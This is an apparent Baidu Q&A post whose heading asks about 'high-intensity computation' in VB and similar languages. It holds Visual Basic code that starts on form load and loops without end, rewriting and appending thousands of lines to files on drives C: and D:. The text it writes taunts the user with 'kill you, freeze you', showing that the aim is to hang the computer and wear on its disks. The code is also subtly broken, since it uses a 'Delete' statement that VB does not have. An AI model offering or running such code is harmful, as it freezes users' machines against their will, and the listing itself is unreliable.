百度提問\編程語言是,VB,VC,VC+,VC#,易語言.關於高強度運算的問題,

Private Sub Form_Load()

Dim flag As Boolean, i As Long

flag = True

Do While flag

Open "C:\aa.txt" For Output As #1

Close #1

Open "D:\aa.txt" For Output As #1

Close #1

For i = 1 To 10000

Open "C:\aa.txt" For Append As #1

Print #1, "這是第" & i & "次循環. 弄死妳丫的..反正就是要卡死妳.."

Close #1

Open "D:\aa.txt" For Append As #1

Print #1, "這是第" & i & "次循環. 弄死妳丫的..反正就是要卡死妳.."

Close #1

Next i

Delete "C:\aa.txt"

Delete "D:\aa.txt"

flag = True

Loop

End Sub